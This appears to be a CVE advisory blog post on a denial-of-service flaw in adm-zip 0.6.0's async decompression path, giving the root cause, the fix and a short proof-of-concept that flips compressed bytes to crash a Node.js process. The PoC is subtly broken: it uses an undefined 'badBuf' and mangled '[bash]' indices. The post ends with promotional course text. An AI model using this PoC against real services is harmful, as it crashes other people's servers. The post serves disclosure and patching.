Listen to this Post
adm-zip exposes async decompression APIs used by Node.js services.
methods/inflater.js inflateAsync creates zlib.createInflateRaw.
It feeds attacker-controlled compressed bytes via tmp.end(inbuf).
It registers data and end listeners.
It never registers an error listener.
Node.js EventEmitter semantics rethrow unhandled error events.
The zlib C++ binding emits error on malformed DEFLATE data.
The throw occurs on a later tick.
try/catch around calling code cannot catch it.
Public async APIs reach this path.
readFileAsync reaches it.
readAsTextAsync reaches it.
extractAllToAsync reaches it.
ZipEntry.getDataAsync reaches it.
A single malformed ZIP can crash the host process.
No authentication is required.
Headers, CRC, and offsets can remain valid.
Only compressed payload bytes need corruption.
Trigger one is Z_DATA_ERROR from corrupted DEFLATE bytes.
Trigger two is inflated size exceeding declared central-directory size.
That trips maxOutputLength on the stream.
CVE-2026-39244 patched the synchronous path.
That fix added maxOutputLength to zlib.inflateRawSync/createInflateRaw.
The sync path throw is naturally catchable.
The async path shares maxOutputLength.
The async path lacks stream error handling.
Thus CVE-2026-39244’s fix did not cover async.
The async path remains exploitable.
Impact is process-level denial of service.
All in-flight requests on that process are killed.
Suggested fix registers an error listener.
The listener routes errors to the callback.
Patched version is 0.6.1.
Affected version is at least 0.6.0.
DailyCVE Form:
Platform: Node.js
Version: 0.6.0
Vulnerability: Unhandled error event
Severity: Critical
date: Not provided
Prediction: Patch 0.6.1
What Undercode Say:
Analytics
npm install [email protected] node -v python3 poc_async_dos.py npm view adm-zip version grep -R "inflateAsync" methods/inflater.js grep -R "createInflateRaw" methods/inflater.js
const AdmZip = require("adm-zip");
const zip = new AdmZip(uploadedBuffer);
zip.readFileAsync(zip.getEntries()[bash], (data) => {});
inflateAsync: function (callback) {
var tmp = zlib.createInflateRaw(option),
parts = [],
total = 0;
tmp.on("data", function (data) { parts.push(data); total += data.length; });
tmp.on("end", function () { / build buf, callback(buf) / });
tmp.end(inbuf);
}
tmp.on("error", function (err) {
callback(Buffer.alloc(0), err);
});
Exploit: (Educational Purposes!)
python3 poc_async_dos.py
const zip = new AdmZip();
const payload = Buffer.from(
"The quick brown fox jumps over the lazy dog. ".repeat(200),
"utf8"
);
zip.addFile("payload.txt", payload, "");
const goodBuf = zip.toBuffer();
const compressedSize = goodBuf.readUInt32LE(18);
const fileNameLen = goodBuf.readUInt16LE(26);
const extraLen = goodBuf.readUInt16LE(28);
const dataStart = 30 + fileNameLen + extraLen;
const dataEnd = dataStart + compressedSize;
for (let i = dataStart; i < dataEnd; i++) {
badBuf[bash] = badBuf[bash] ^ 0xff;
}
const zip2 = new AdmZip(badBuf);
const entries = zip2.getEntries();
entries[bash].getDataAsync(function (data, err) {});
Protection: from this CVE
npm install [email protected]
inflateAsync: function (callback) {
var tmp = zlib.createInflateRaw(option),
parts = [],
total = 0;
tmp.on("data", function (data) { parts.push(data); total += data.length; });
tmp.on("error", function (err) {
callback(Buffer.alloc(0), err);
});
tmp.on("end", function () { / existing behavior / });
tmp.end(inbuf);
}
Impact:
Process-level denial of service.
Unauthenticated attacker.
Single malformed ZIP.
Node.js host process crashes.
All in-flight requests killed.
Not per-request error.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

